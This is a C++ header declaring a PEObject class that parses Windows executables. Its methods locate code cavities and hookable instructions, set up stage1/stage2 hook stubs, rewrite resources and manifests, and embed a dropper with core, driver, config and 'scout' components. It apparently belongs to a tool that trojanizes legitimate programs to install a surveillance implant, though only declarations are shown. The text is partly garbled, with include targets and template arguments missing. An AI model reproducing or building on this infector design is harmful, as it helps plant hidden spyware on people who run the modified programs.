#ifndef _PEOBJECT_H #define _PEOBJECT_H #include #include #include #include #include #include using namespace std; #include #include #include namespace bf = boost::filesystem; #include "common.h" #include "tree.hpp" #include "GenericSection.h" #include "IATEntry.h" #include "../libs/BeaEngine/BeaEngine.h" #define STAGE1_STUB_SIZE 5 // call near, 32bit address #define PE_MAX_DATA_SECTIONS 64 #define endian_swap4byte(x) \ x = ((x & 0x000000FF) << 24) | \ ((x & 0x0000FF00) << 8) | \ ((x & 0x00FF0000) >> 8) | \ ((x & 0xFF000000) >> 24) typedef struct _PE_DOS_HEADER { IMAGE_DOS_HEADER* header; std::size_t stub_size; char* stub; } PEDOSHEADER; typedef struct _PE_SECTION { IMAGE_SECTION_HEADER* header; char* data; } PESECTION; typedef struct RESOURCE_DIRECTORY { IMAGE_RESOURCE_DIRECTORY Header; IMAGE_RESOURCE_DIRECTORY_ENTRY Entries[1]; } *PRESOURCE_DIRECTORY; class GenericSection; class DropperObject; class ResourceSection; class ResourceDirectory; class parsing_error : public std::exception { public: parsing_error(const std::string& msg) : std::exception(msg.c_str()) {} }; typedef struct _cavity_t { char* ptr; DWORD va; std::size_t size; } Cavity; class PEObject { private: //std::fstream _sourceFile; //std::fstream _destinationFile; char* _rawData; std::size_t _fileSize; PEDOSHEADER _dosHeader; IMAGE_NT_HEADERS *_ntHeader; std::vector _sections; GenericSection *_eofData; std::size_t _sectionHeadersPaddingSize; char* _sectionHeadersPadding; std::size_t _boundImportTableSize; PBYTE _boundImportTable; DWORD _oep; // AddressOfEntryPoint struct { int ExitProcess; int exit; int _exit; } functionIndex; std::vector< Cavity > _cavities; std::map< std::string, std::map > _calls; IATEntries _iat; struct { struct { char* ptr; DWORD va; DWORD size; } stage1; struct { char* ptr; DWORD va; DWORD size; } stage2; } _hookPointer; // TODO this should be removed in favor of the above map DWORD _pLoadLibrary; DWORD _pGetProcAddress; bool _parseDOSHeader(); bool _parseNTHeader(); bool _parseIAT(); bool _parseResources(); void _findHookableInstruction(); bool _parseText(); struct { ResourceDirectory* dir; std::size_t size; } _resources; ResourceDirectory* _scanResources(char const * const data); ResourceDirectory* _scanResources(PRESOURCE_DIRECTORY rdRoot, PRESOURCE_DIRECTORY rdToScan, DWORD level); bool _updateResource(WCHAR* type, WCHAR* name, LANGID lang, PBYTE data, DWORD size); bool _updateResource(WORD type, WCHAR* name, LANGID lang, PBYTE data, DWORD size) { return _updateResource(MAKEINTRESOURCEW(type), name, lang, data, size); } bool _updateResource(WCHAR* type, WORD name, LANGID lang, BYTE* data, DWORD size) { return _updateResource(type, MAKEINTRESOURCEW(name), lang, data, size); } bool _updateResource(WORD type, WORD name, LANGID lang, BYTE* data, DWORD size) { return _updateResource(MAKEINTRESOURCEW(type), MAKEINTRESOURCEW(name), lang, data, size); } DWORD _sizeOfResources(); void _setResourceOffsets(ResourceDirectory* resDir, DWORD newResDirAt); bool _fixManifest(); std::size_t _writeResources( char* data, DWORD virtualAddress ); void _disassembleCode(unsigned char *start, unsigned char *end, int VA); public: PEObject(char* data, std::size_t size); virtual ~PEObject(void); unsigned char * atOffset(DWORD offset) { if (offset > _fileSize) return NULL; return (unsigned char *)( ((DWORD)this->_rawData) + offset); } unsigned char * atRVA(DWORD rva) { DWORD offset = this->offset(rva); if (offset == 0) return NULL; return rva == 0 ? NULL : (unsigned char *)atOffset(offset); } DWORD offset(DWORD _rva); std::size_t resourceSize() { return _resources.size; } DWORD imageBase() { return _ntHeader->OptionalHeader.ImageBase; } DWORD fileAlignment() { return _ntHeader->OptionalHeader.FileAlignment; } DWORD sectionAlignment() { return _ntHeader->OptionalHeader.SectionAlignment; } PEDOSHEADER dosHeader() { return _dosHeader; } PIMAGE_NT_HEADERS ntHeaders() { return _ntHeader; } PIMAGE_DATA_DIRECTORY dataDirectory(DWORD entry) { return &_ntHeader->OptionalHeader.DataDirectory[entry]; } bool parse(); bool saveToFile( std::string filename ); DWORD epRVA() { return _ntHeader->OptionalHeader.AddressOfEntryPoint; } DWORD epVA() { return _ntHeader->OptionalHeader.ImageBase + _ntHeader->OptionalHeader.AddressOfEntryPoint; } void writeData(DWORD rva, char * data, size_t size); unsigned char* GetOEPCode(); bool hasResources() { return _ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0 ? false : true; } GenericSection* getSection( DWORD directoryEntryID ); GenericSection* findSection( DWORD rva ); void setSection( DWORD directoryEntryID, GenericSection* section ); void setSection( DWORD directoryEntryID, DWORD VirtualAddress, DWORD VirtualSize ); bool isAuthenticodeSigned(); bool embedDropper( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, bool fixManifest, std::string fPrefix, bf::path demoBitmap, BOOL isScout, bf::path scout); typedef struct { DISASM d; std::size_t len; } disassembled_instruction; std::vector instructions_; disassembled_instruction hookedInstruction_; IATEntry const & getIATEntry( std::string const dll, std::string const call ); IATEntry const & getIATEntry( DWORD const rva ); ULONG exeType; }; #endif /* _PEOBJECT_H */ .